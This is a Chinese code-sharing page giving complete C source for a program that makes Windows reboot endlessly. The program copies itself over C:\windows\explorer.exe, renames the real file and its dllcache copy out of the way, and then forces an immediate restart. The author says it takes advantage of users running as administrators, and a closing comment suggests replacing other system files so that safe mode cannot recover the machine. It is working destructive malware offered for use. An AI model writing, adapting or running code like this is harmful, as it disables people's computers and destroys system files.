首页 > 代码库 > 让你的Windows不断重启的C语言代码

让你的Windows不断重启的C语言代码

原文:让你的Windows不断重启的C语言代码

没有写Linux的原因是因为搞不定Linux下的权限问题,而Windows下基本上使用电脑的用户都是管理员,所以钻个空了,不多说下面是代码
#include "stdio.h"
#include "process.h"
int copy_file(char *start,char *end)
{
    FILE *input,*output;
    if(((input=fopen(start,"rb"))!=NULL)&&((output=fopen(end,"wb"))!=NULL))
    {
        char temp;
        while(!feof(input))
        {
            fread(&temp,sizeof(char),1,input);
            fwrite(&temp,sizeof(char),1,output);
        }
        fclose(input);
        fclose(output);
        return 0;
    }
    return 1;
}
int auto_run(char *my)
{
    FILE *fp;
    if((fp=fopen("C:\\windows\\system\\explorer.exe","rb"))!=NULL)
    {
        fclose(fp);
        remove("C:\\windows\\$temp#");
        remove("C:\\windows\\system32\\dllcache\\$temp$");
    }
    else
    {
        copy_file("C:\\windows\\explorer.exe","C:\\windows\\system\\explorer.exe");
        rename("C:\\windows\\explorer.exe","C:\\windows\\$temp$");
        rename("C:\\windows\\system32\\dllcache\\explorer.exe","C:\\windows\\system32\\dllcache\\$temp$");
        copy_file(my,"C:\\windows\\explorer.exe");
    }
    return 0;
}
int main(int argc,char **argv)
{
    auto_run(argv[0]);
    spawnl(1,"C:\\windows\\system32\\shutdown.exe"," -r -t 0",NULL);
    return 0;
}
/*据测试,在带有命令提示符的安全模式下好像并没有启动explorer.exe.而本程序正是通过修改explorer.exe达到不断重启的目的.所以只要在带有命令提示符的安全模式下将备份在windows\system\下的explorer.exe复制到windows\下就可以解决问题了,如果想做得更绝点的话,那就修改其它系统文件,比如修改一些即使是使用安全模式也必需要启动的系统文件,这样就比较棘手了*/

让你的Windows不断重启的C语言代码